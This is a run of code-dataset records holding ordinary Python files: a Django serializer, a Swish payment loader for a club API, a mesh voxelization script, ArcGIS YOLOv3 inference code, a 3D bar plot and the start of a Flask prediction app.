25, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 26, "usage_type": "attribute"}, {"api_name": "logging.handlers.TimedRotatingFileHandler", "line_number": 28, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 32, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 34, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 35, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 37, "usage_type": "call"}, {"api_name": "wpa_commands.reset_uap0", "line_number": 45, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 47, "usage_type": "call"}, {"api_name": "flask_cors.CORS", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.make_response", "line_number": 54, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 54, "usage_type": "call"}, {"api_name": "flask.make_response", "line_number": 59, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 59, "usage_type": "call"}, {"api_name": "wpa_commands.wpa_status", "line_number": 68, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 69, "usage_type": "call"}, {"api_name": "flask_cors.cross_origin", "line_number": 63, "usage_type": "call"}, {"api_name": "wpa_commands.wpa_scan", "line_number": 78, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 79, "usage_type": "call"}, {"api_name": "flask_cors.cross_origin", "line_number": 73, "usage_type": "call"}, {"api_name": "wpa_commands.wpa_disconnect", "line_number": 88, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 90, "usage_type": "call"}, {"api_name": "flask_cors.cross_origin", "line_number": 83, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 99, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 99, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 100, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 102, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 102, "usage_type": "name"}, {"api_name": "wpa_commands.wpa_connect", "line_number": 109, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 110, "usage_type": "call"}, {"api_name": "flask_cors.cross_origin", "line_number": 94, "usage_type": "call"}, {"api_name": "wpa_commands.reset_uap0", "line_number": 116, "usage_type": "call"}]} {"seq_id": "363605124", "text": "from django.db import models\nfrom rest_framework import serializers\nfrom .models import Asistente\n\nclass AsistenteSerializador(serializers.ModelSerializer):\n class Meta:\n model = Asistente\n fields = '__all__'\n\nclass FechaInputSerializador(serializers.Serializer):\n fecha_inicio = serializers.DateTimeField()\n fecha_final = serializers.DateTimeField()", "sub_path": "registro_asistentes/reg_asistentes/serializer.py", "file_name": "serializer.py", "file_ext": "py", "file_size_in_byte": 373, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 5, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 5, "usage_type": "name"}, {"api_name": "models.Asistente", "line_number": 7, "usage_type": "name"}, {"api_name": "rest_framework.serializers.Serializer", "line_number": 10, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 10, "usage_type": "name"}, {"api_name": "rest_framework.serializers.DateTimeField", "line_number": 11, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 11, "usage_type": "name"}, {"api_name": "rest_framework.serializers.DateTimeField", "line_number": 12, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 12, "usage_type": "name"}]} {"seq_id": "479776182", "text": "\"\"\"Use the BeerClub API to load Swish payments from CSV derived \nfrom SEB Excel output.\n\nThis script is independent of the rest of the BeerClub code base.\n\nIt uses the third-party package 'requests'.\n\nIt requires a settings file which contains the base URL,\nthe API key to use and the Swish number prefix replacements.\n\"\"\"\n\nimport argparse\nimport csv\nimport json\nimport time\n\nimport requests\n\nPAUSE = 1.0\n\n# These are specific to the CSV from the SEB Excel file.\nN_HEADER_ROWS = 5\nDATE_COLUMN = 1\nAMOUNT_COLUMN = 3\nSWISH_COLUMN = 5\nNAME_COLUMN = 6\nMESSAGE_COLUMN = 11\n\n\ndef load_swish(settings, csvfilepath, execute=False):\n with open(csvfilepath, 'r') as infile:\n reader = csv.reader(infile)\n # Skip past header records\n for i in range(N_HEADER_ROWS):\n row = reader.next()\n rows = list(reader)\n headers = {'X-BeerClub-API-key': settings['API_KEY']}\n members = []\n bail = False\n for row in rows:\n event = dict(action='payment',\n payment='swish',\n date=row[DATE_COLUMN],\n amount=float(row[AMOUNT_COLUMN]),\n description=row[MESSAGE_COLUMN].strip())\n swish = row[SWISH_COLUMN]\n name = row[NAME_COLUMN]\n if ',' in name:\n name = ' '.join(reversed(name.split(',')))\n name = ' '.join([n.capitalize() for n in name.split()])\n for prefix, replacement in settings['PREFIX'].items():\n if swish.startswith(prefix):\n swish = replacement + swish[len(prefix):]\n break\n url = settings['BASE_URL'] + 'member/' + swish\n response = requests.get(url, headers=headers)\n if response.status_code == 200:\n member = response.json()\n member['event'] = event\n members.append(member)\n else:\n print('missing >>>', swish, name)\n bail = True\n if bail: return\n print('Everything OK.')\n if not execute:\n print('Dry-run; no actions.')\n return\n else:\n print('Updating database...')\n for member in members:\n url = settings['BASE_URL'] + 'event/member/' + member['email']\n time.sleep(PAUSE)\n response = requests.post(url, headers=headers, json=member['event'])\n if response.status_code == 200:\n print(member['email'], member['event']['amount'])\n else:\n raise ValueError(\"%s %s\" % (member['email'], response))\n if member.get('swish_lazy'):\n member['event']['action'] = 'purchase'\n member['event']['purchase'] = 'credit'\n member['event']['description'] = 'Swish lazy'\n member['event']['amount'] = member['event']['amount']\n time.sleep(PAUSE)\n response = requests.post(url, headers=headers,json=member['event'])\n if response.status_code == 200:\n print('Swish lazy')\n else:\n raise ValueError(\"%s %s\" % (member['email'], response))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\n description='Load Swish payments from CSV from SEB Excel')\n parser.add_argument('-s', '--settings',\n type=argparse.FileType('r'),\n default='swish_settings.json',\n help='Settings for Swish CSV file processing.')\n parser.add_argument('-c', '--csv',\n action='store', dest='csvfilepath', metavar='FILE',\n default='Export.csv', help='filename of CSV file')\n parser.add_argument('-x', action='store_const', dest='execute',\n const=True, default=False,\n help='actually perform the load; else dry-run')\n args = parser.parse_args()\n load_swish(json.load(args.settings), \n args.csvfilepath,\n args.execute)\n", "sub_path": "beerclub/standalone/load_swish.py", "file_name": "load_swish.py", "file_ext": "py", "file_size_in_byte": 3904, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "csv.reader", "line_number": 32, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 56, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 73, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 74, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 84, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 85, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 93, "usage_type": "call"}, {"api_name": "argparse.FileType", "line_number": 96, "usage_type": "call"}, {"api_name": "json.load", "line_number": 106, "usage_type": "call"}]} {"seq_id": "613837279", "text": "from __future__ import division, print_function\n\nimport numpy as np\nimport matplotlib\nmatplotlib.use('TkAgg')\nfrom matplotlib import pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D # noqa: F401 unused import\nimport trimesh\nimport json\nimport argparse\nimport sys\nimport os\n\ndef plot_voxel(voxel):\n # voxel = np.load('/home/atabak/tmp/ycb_sample/fromHisDataset/02691156_fff513f407e00e85a9ced22d91ad7027_view019_gt_rotvox_samescale_128.npz')\n # voxel = voxel['voxel']\n # with open('rotated_mesh.binvox', 'rb') as f:\n # m1 = binvox_rw.read_as_3d_array(f)\n #\n # voxel=m1.data\n from skimage.measure import block_reduce\n ds_voxel = block_reduce(voxel, (4, 4, 4))\n fig = plt.figure()\n ax = fig.gca(projection='3d')\n ax.set_xlabel(\"x\")\n ax.set_ylabel(\"y\")\n ax.set_zlabel(\"z\")\n #ax.set_aspect('equal')\n\n # ax.voxels(voxel, edgecolor=\"k\")\n ax.voxels(ds_voxel, edgecolor=\"k\", facecolors=[1, 0, 0, 0.05])\n # ax.view_init(90, 270)\n ax.view_init(0, 180)\n plt.draw() \n plt.show()\n # for angle in range(0, 360):\n # ax.view_init(0, angle)\n # plt.draw()\n # plt.pause(.001)\n\n\ndef mesh_to_voxel(dict_path):\n\n #mesh = trimesh.load(dict_info['model'].split('YCB_Video_Dataset/YCB_Video_Dataset/')[1])\n #mesh = trimesh.load(dict_info['model'].replace('media', 'mnt'))\n dict_info = np.load(dict_path)\n mesh = trimesh.load(str(dict_info['model_path']))\n rot = np.array(dict_info['rot'])\n RT = np.zeros((4, 4))\n RT_aux = np.zeros((4, 4))\n RT[:3, :3] = rot\n RT[3, 3] = 1.\n mesh.apply_transform(RT)\n\n # 90 around z\n rot_90_z = np.array([(0.0, 1.0, 0.0),\n (-1.0, 0.0, 0.0),\n (0.0, 0.0, 1.0)])\n # 90 around y\n rot_90_y = np.array([(0.0, 0.0, 1.0),\n (0.0, 1.0, 0.0),\n (-1.0, 0.0, 0.0)])\n\n\n RT_aux[3, 3] = 1.\n RT_aux[:3, :3] = rot_90_z\n mesh.apply_transform(RT_aux)\n RT_aux[:3, :3] = rot_90_y\n mesh.apply_transform(RT_aux)\n\n RT_aux[3,3] = 1.\n is_watertight = False\n attempts = 0\n while (is_watertight == False and attempts < 10):\n is_watertight = trimesh.repair.fill_holes(mesh)\n attempts += 1\n\n meshvoxel = trimesh.voxel.local_voxelize(mesh, (0., 0., 0.), pitch=0.25/129, radius=64)[0] #25cm devided in 129 voxels\n\n voxel_path = dict_path.replace('metadata', 'voxel')#.replace('png', 'npz').replace('media', 'mnt')\n voxel_dir = os.path.dirname(voxel_path)\n if not os.path.exists(voxel_dir):\n os.makedirs(voxel_dir)\n\n np.savez(voxel_path, voxel=meshvoxel)\n\n\nif __name__ == \"__main__\":\n trimesh.util.attach_to_log()\n parser = argparse.ArgumentParser()\n parser.add_argument('--division_num', type=int, default=0,\n help='division number 0<=division_num<60')\n \n args = parser.parse_args()\n base_dir = \"/mnt/hdd/aff_render/metadata\"\n target_dir = os.path.join(base_dir, '{:04d}'.format(args.division_num))\n if os.path.exists(target_dir):\n for info in os.listdir(target_dir):\n target_path = os.path.join(target_dir, info)\n mesh_to_voxel(target_path)\n\n", "sub_path": "aff_voxel_demo.py", "file_name": "aff_voxel_demo.py", "file_ext": "py", "file_size_in_byte": 3018, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "matplotlib.use", "line_number": 5, "usage_type": "call"}, {"api_name": "skimage.measure.block_reduce", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.draw", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "numpy.load", "line_number": 46, "usage_type": "call"}, {"api_name": "trimesh.load", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 60, "usage_type": "call"}, {"api_name": "trimesh.repair.fill_holes", "line_number": 75, "usage_type": "call"}, {"api_name": "trimesh.repair", "line_number": 75, "usage_type": "attribute"}, {"api_name": "trimesh.voxel.local_voxelize", "line_number": 78, "usage_type": "call"}, {"api_name": "trimesh.voxel", "line_number": 78, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path", "line_number": 82, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.savez", "line_number": 85, "usage_type": "call"}, {"api_name": "trimesh.util.attach_to_log", "line_number": 89, "usage_type": "call"}, {"api_name": "trimesh.util", "line_number": 89, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 90, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path", "line_number": 96, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path", "line_number": 97, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path", "line_number": 99, "usage_type": "attribute"}]} {"seq_id": "205826190", "text": "try:\n import os, sys, json\n import numpy as np\n import torch\n import torch.nn as nn\n import math\n from ..._utils.pascal_voc_rectangles import _reconstruct\n from .util import normalize_batch\n HAS_TORCH = True\nexcept Exception as e:\n HAS_TORCH = False\n\ntry:\n import arcpy\nexcept:\n pass\n\ndef pred2dict(bb_np, score, cat_str, c):\n '''\n Create a dictionary with the attributes of a single predicted bounding box\n \n Parameters\n bb_np: bounding box coordinates (ymin, xmin, ymax, xmax)\n score: prediction probability\n category: name of the predicted class\n class: index of the the predicted class\n \n returns: a dictionarty with bounding box attributes\n '''\n # convert to top left x,y bottom right x,y\n return {\"x1\": bb_np[1],\n \"x2\": bb_np[3],\n \"y1\": bb_np[0],\n \"y2\": bb_np[2],\n \"score\": score,\n \"category\": cat_str,\n \"class\": c}\n\n\ndef convert_bounding_boxes_to_coord_list(bounding_boxes):\n '''\n Convert bounding box numpy array to python list of point arrays.\n The points will represent the corners of a polygon.\n\n Parameters\n bounding_boxes: numpy array of shape [n, 4]\n\n return: python array of point numpy arrays, each point array is in shape [4,2]\n representing coordinates (y,x) of the polygon points starting from top-left corner\n '''\n num_bounding_boxes = bounding_boxes.shape[0]\n bounding_box_coord_list = []\n for i in range(num_bounding_boxes):\n coord_array = np.empty(shape=(4, 2), dtype=np.float)\n coord_array[0][0] = bounding_boxes[i][0]\n coord_array[0][1] = bounding_boxes[i][1]\n\n coord_array[1][0] = bounding_boxes[i][0]\n coord_array[1][1] = bounding_boxes[i][3]\n\n coord_array[2][0] = bounding_boxes[i][2]\n coord_array[2][1] = bounding_boxes[i][3]\n\n coord_array[3][0] = bounding_boxes[i][2]\n coord_array[3][1] = bounding_boxes[i][1]\n\n bounding_box_coord_list.append(coord_array)\n\n return bounding_box_coord_list\n\n\ndef calculate_rectangle_size_from_batch_size(batch_size):\n '''\n Calculate number of rows and cols of image chips to composite a rectanglular block given a batch size\n\n Parameters\n batch_size: number of image chips in a batch\n\n return: number of cols and rows of image chips\n '''\n rectangle_height = int(math.sqrt(batch_size) + 0.5)\n rectangle_width = int(batch_size / rectangle_height)\n\n if rectangle_height * rectangle_width > batch_size:\n if rectangle_height >= rectangle_width:\n rectangle_height = rectangle_height - 1\n else:\n rectangle_width = rectangle_width - 1\n\n if (rectangle_height + 1) * rectangle_width <= batch_size:\n rectangle_height = rectangle_height + 1\n if (rectangle_width + 1) * rectangle_height <= batch_size:\n rectangle_width = rectangle_width + 1\n\n # swap col and row to make a horizontal rect\n if rectangle_height > rectangle_width:\n rectangle_height, rectangle_width = rectangle_width, rectangle_height\n\n if rectangle_height * rectangle_width != batch_size:\n return batch_size, 1\n\n return rectangle_height, rectangle_width\n\n\ndef get_tile_size(model_height, model_width, padding, batch_height, batch_width):\n '''\n Calculate request tile size given model and batch dimensions\n :param model_height:\n :param model_width:\n :param padding:\n :param batch_width:\n :param batch_height:\n :return: tile height and tile width\n '''\n tile_height = (model_height - 2 * padding) * batch_height\n tile_width = (model_width - 2 * padding) * batch_width\n\n return tile_height, tile_width\n\n\ndef tile_to_batch(pixel_block, model_height, model_width, padding, fixed_tile_size=True, **kwargs):\n inner_width = model_width - 2 * padding\n inner_height = model_height - 2 * padding\n\n band_count, pb_height, pb_width = pixel_block.shape\n pixel_type = pixel_block.dtype\n\n if fixed_tile_size is True:\n batch_height = kwargs['batch_height']\n batch_width = kwargs['batch_width']\n else:\n batch_height = math.ceil((pb_height - 2 * padding) / inner_height)\n batch_width = math.ceil((pb_width - 2 * padding) / inner_width)\n\n batch = np.zeros(shape=(batch_width * batch_height, band_count, model_height, model_width), dtype=pixel_type)\n for b in range(batch_width * batch_height):\n y = int(b / batch_width)\n x = int(b % batch_width)\n\n # pixel block might not be the shape (band_count, model_height, model_width)\n sub_pixel_block = pixel_block[:, y * inner_height: y * inner_height + model_height,\n x * inner_width: x * inner_width + model_width]\n sub_pixel_block_shape = sub_pixel_block.shape\n batch[b, :, :sub_pixel_block_shape[1], :sub_pixel_block_shape[2]] = sub_pixel_block\n\n return batch, batch_height, batch_width\n\n\ndef batch_to_tile(batch, batch_height, batch_width):\n batch_size, bands, inner_height, inner_width = batch.shape\n tile = np.zeros(shape=(bands, inner_height * batch_height, inner_width * batch_width), dtype=batch.dtype)\n\n for b in range(batch_width * batch_height):\n y = int(b / batch_width)\n x = int(b % batch_width)\n\n tile[:, y * inner_height: (y+1) * inner_height, x * inner_width:(x+1) * inner_width] = batch[b]\n\n return tile\n\n\ndef remove_bounding_boxes_in_padding(bounding_boxes, scores, classes, image_height, image_width, padding,\n batch_height=1, batch_width=1):\n '''\n\n :param bounding_boxes: the batch of bounding boxes, shape=[B,N,4]\n :param scores: the batch of box scores, shape=[B,N]\n :param classes: the batch of labels, shape=[B,N]\n :param image_height: model height\n :param image_width: model width\n :param padding:\n :param batch_height:\n :param batch_width:\n :return:\n '''\n keep_indices = np.where((bounding_boxes[:,:,0] < image_height-padding) &\n (bounding_boxes[:,:,1] < image_width-padding) &\n (bounding_boxes[:,:,2] > padding) &\n (bounding_boxes[:,:,3] > padding))\n\n inner_width = image_width - 2 * padding\n inner_height = image_height - 2 * padding\n\n # convert coordinates in the batch to super tile and then filter by the keep_indices\n for b in range(batch_width * batch_height):\n y = int(b / batch_width)\n x = int(b % batch_width)\n\n bounding_boxes[b, :, [0, 2]] = bounding_boxes[b, :, [0, 2]] + y * inner_height\n bounding_boxes[b, :, [1, 3]] = bounding_boxes[b, :, [1, 3]] + x * inner_width\n\n bounding_boxes = bounding_boxes[keep_indices]\n scores = scores[keep_indices]\n classes = classes[keep_indices]\n\n return bounding_boxes, scores, classes\n\nclass ChildObjectDetector:\n\n def initialize(self, model, model_as_file):\n\n if not HAS_TORCH:\n raise Exception('PyTorch is not installed. Install it using conda install -c pytorch pytorch torchvision')\n\n import arcgis\n from arcgis.learn.models import YOLOv3\n\n if arcpy.env.processorType == \"GPU\" and torch.cuda.is_available():\n self.device = torch.device('cuda')\n arcgis.env._processorType = \"GPU\"\n else:\n self.device = torch.device('cpu')\n arcgis.env._processorType = \"CPU\"\n\n if model_as_file:\n with open(model, 'r') as f:\n self.json_info = json.load(f)\n else:\n self.json_info = json.load(model)\n\n model_path = self.json_info['ModelFile']\n if model_as_file and not os.path.isabs(model_path):\n model_path = os.path.abspath(os.path.join(os.path.dirname(model), model_path))\n\n self.model = YOLOv3.from_model(emd_path=model)\n self.model.learn.model = self.model.learn.model.to(self.device)\n self.model.learn.model.eval()\n \n def getParameterInfo(self, required_parameters):\n required_parameters.extend(\n [\n {\n 'name': 'padding',\n 'dataType': 'numeric',\n 'value': self.json_info['ImageHeight'] // 4,\n 'required': False,\n 'displayName': 'Padding',\n 'description': 'Padding'\n },\n {\n 'name': 'threshold',\n 'dataType': 'numeric',\n 'value': 0.1,\n 'required': False,\n 'displayName': 'Confidence Score Threshold [0.0, 1.0]',\n 'description': 'Confidence score threshold value [0.0, 1.0]'\n },\n {\n 'name': 'nms_overlap',\n 'dataType': 'numeric',\n 'value': 0.1,\n 'required': False,\n 'displayName': 'NMS Overlap',\n 'description': 'Maximum allowed overlap within each chip'\n },\n {\n 'name': 'batch_size',\n 'dataType': 'numeric',\n 'required': False,\n 'value': 4,\n 'displayName': 'Batch Size',\n 'description': 'Batch Size'\n },\n {\n 'name': 'exclude_pad_detections',\n 'dataType': 'string',\n 'required': False,\n 'domain': ('True', 'False'),\n 'value': 'True',\n 'displayName': 'Filter Outer Padding Detections',\n 'description': 'Filter detections which are outside the specified padding'\n }\n \n ]\n )\n return required_parameters\n\n def getConfiguration(self, **scalars):\n self.padding = int(scalars.get('padding', self.json_info['ImageHeight'] // 4)) ## Default padding Imageheight//4.\n self.nms_overlap = float(scalars.get('nms_overlap', 0.1)) ## Default 0.1 NMS Overlap.\n self.thres = float(scalars.get('threshold', 0.1)) ## Default 0.1 threshold.\n self.batch_size = int(math.sqrt(int(scalars.get('batch_size', 4)))) ** 2 ## Default 4 batch_size\n self.filter_outer_padding_detections = scalars.get('exclude_pad_detections', 'True').lower() in ['true', '1', 't', 'y', 'yes'] ## Default value True \n\n\n self.rectangle_height, self.rectangle_width = calculate_rectangle_size_from_batch_size(self.batch_size)\n ty, tx = get_tile_size(self.json_info['ImageHeight'], self.json_info['ImageWidth'],\n self.padding, self.rectangle_height, self.rectangle_width)\n\n return {\n 'extractBands': tuple(self.json_info['ExtractBands']),\n 'padding': self.padding,\n 'threshold': self.thres,\n 'nms_overlap': self.nms_overlap,\n 'tx': tx,\n 'ty': ty,\n 'fixedTileSize': 1\n }\n\n def vectorize(self, **pixelBlocks):\n input_image = pixelBlocks['raster_pixels']\n batch, batch_height, batch_width = \\\n tile_to_batch(input_image,\n self.json_info['ImageHeight'],\n self.json_info['ImageWidth'],\n self.padding,\n fixed_tile_size=True,\n batch_height=self.rectangle_height,\n batch_width=self.rectangle_width)\n\n class_names = [clas['Name'] for clas in self.json_info['Classes']]\n\n class dummy():\n pass\n\n dummy_x = dummy()\n chip_size = self.json_info[\"ImageHeight\"]\n dummy_x.size = [chip_size, chip_size]\n\n preds = { }\n\n if \"NormalizationStats\" in self.json_info:\n batch = normalize_batch(batch, self.json_info)\n else:\n batch = batch/255.\n\n batch_output = self.model.learn.model(torch.tensor(batch).to(self.device).float())\n\n num_boxes = 0\n for chip_idx, output in enumerate(batch_output): \n pp_output = self.model._analyze_pred(pred=output, thresh=self.thres, nms_overlap=self.nms_overlap)\n image_bbox = _reconstruct(pp_output, dummy_x, pad_idx=0, classes=['background'] + class_names)\n if not image_bbox is None: \n for feature_idx in range(len(image_bbox.data[0])):\n to_append = pred2dict(((image_bbox.data[0][feature_idx] + 1) / 2).detach().cpu().numpy(),\n image_bbox.scores[feature_idx],\n str(image_bbox.labels[feature_idx]),\n image_bbox.data[1][feature_idx],\n )\n \n try:\n preds[chip_idx].append(to_append)\n except KeyError:\n preds[chip_idx] = [to_append]\n\n num_boxes += 1\n else:\n preds[chip_idx] = [{}] \n num_boxes += 1\n\n batch_size = self.batch_size\n side = math.sqrt(batch_size)\n\n bounding_boxes = np.zeros(shape=(num_boxes, 4), dtype=np.float)\n scores = np.zeros(shape=(num_boxes), dtype=np.float)\n classes = np.zeros(shape=(num_boxes), dtype=np.uint8)\n\n idx = 0\n tile_height = chip_size\n tile_width = chip_size\n\n for batch_idx in range(batch_size):\n i, j = batch_idx//side, batch_idx%side\n \n for pred in preds[batch_idx]:\n if pred == {}:\n idx = idx+1\n continue\n \n bounding_boxes[idx, 0] = (pred['y1'] + i)*tile_height\n bounding_boxes[idx, 1] = (pred['x1'] + j)*tile_width\n bounding_boxes[idx, 2] = (pred['y2'] + i)*tile_height\n bounding_boxes[idx, 3] = (pred['x2'] + j)*tile_width\n scores[idx] = pred['score']\n classes[idx] = pred['class']\n \n idx = idx+1\n\n return convert_bounding_boxes_to_coord_list(bounding_boxes), scores * 100, classes", "sub_path": "env/lib/python3.6/site-packages/arcgis/learn/models/_inferencing/_yolov3_inference.py", "file_name": "_yolov3_inference.py", "file_ext": "py", "file_size_in_byte": 14360, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.empty", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 54, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 81, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 132, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 176, "usage_type": "call"}, {"api_name": "arcpy.env", "line_number": 208, "usage_type": "attribute"}, {"api_name": "torch.cuda.is_available", "line_number": 208, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 208, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 209, "usage_type": "call"}, {"api_name": "arcgis.env", "line_number": 210, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 212, "usage_type": "call"}, {"api_name": "arcgis.env", "line_number": 213, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 217, "usage_type": "call"}, {"api_name": "json.load", "line_number": 219, "usage_type": "call"}, {"api_name": "os.path.isabs", "line_number": 222, "usage_type": "call"}, {"api_name": "os.path", "line_number": 222, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 223, "usage_type": "call"}, {"api_name": "os.path", "line_number": 223, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 223, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 223, "usage_type": "call"}, {"api_name": "arcgis.learn.models.YOLOv3.from_model", "line_number": 225, "usage_type": "call"}, {"api_name": "arcgis.learn.models.YOLOv3", "line_number": 225, "usage_type": "name"}, {"api_name": "math.sqrt", "line_number": 282, "usage_type": "call"}, {"api_name": "util.normalize_batch", "line_number": 323, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 327, "usage_type": "call"}, {"api_name": "_utils.pascal_voc_rectangles._reconstruct", "line_number": 332, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 352, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 354, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 354, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 355, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 355, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 356, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 356, "usage_type": "attribute"}]} {"seq_id": "370343958", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib as mp\nsample = np.load('Statistics/dataBar3D.npy')\n \nfig = plt.figure()\nax = fig.gca(projection='3d')\nm = np.arange(10)\nx = np.concatenate((m,m,m),axis=0)\nz_pos = np.zeros(30)\nx_pos = np.zeros(30)\na = np.zeros(10)\nb = np.ones(10)\nc = np.ones(10)*2\ny_pos = np.concatenate((a,b,c),axis=0)\ny = np.concatenate((sample[0],sample[1],sample[2]),axis=0)\n \n \ndx = np.ones(30)*0.5\ndy = np.ones(30)*0.2\ndz = np.ones(30)\n \n \nax.bar3d(x,y_pos,z_pos,dx,dy,y,color='#00ceaa',alpha=0.5)\n \nplt.show()", "sub_path": "Statistics/ex11.py", "file_name": "ex11.py", "file_ext": "py", "file_size_in_byte": 592, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.load", "line_number": 5, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 7, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}]} {"seq_id": "223939042", "text": "import base64\r\nimport io\r\nimport pickle\r\n\r\nfrom flask import Flask, render_template, request, redirect, url_for\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nfrom markupsafe import Markup\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.metrics import accuracy_score, classification_report, confusion_matrix, f1_score\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.preprocessing import StandardScaler\r\n\r\napp = Flask(__name__)\r\n\r\n# Load the Random Forest Classifier pickle\r\nf = open('prediction_model.pkl', 'rb')\r\npred_model = pickle.load(f)\r\nf.close()\r\n\r\n\r\n@app.before_first_request\r\ndef startup():\r\n # Loads cleaned dataset when page is first loaded\r\n get_cleaned_data()\r\n\r\n\r\n# Launch the login screen 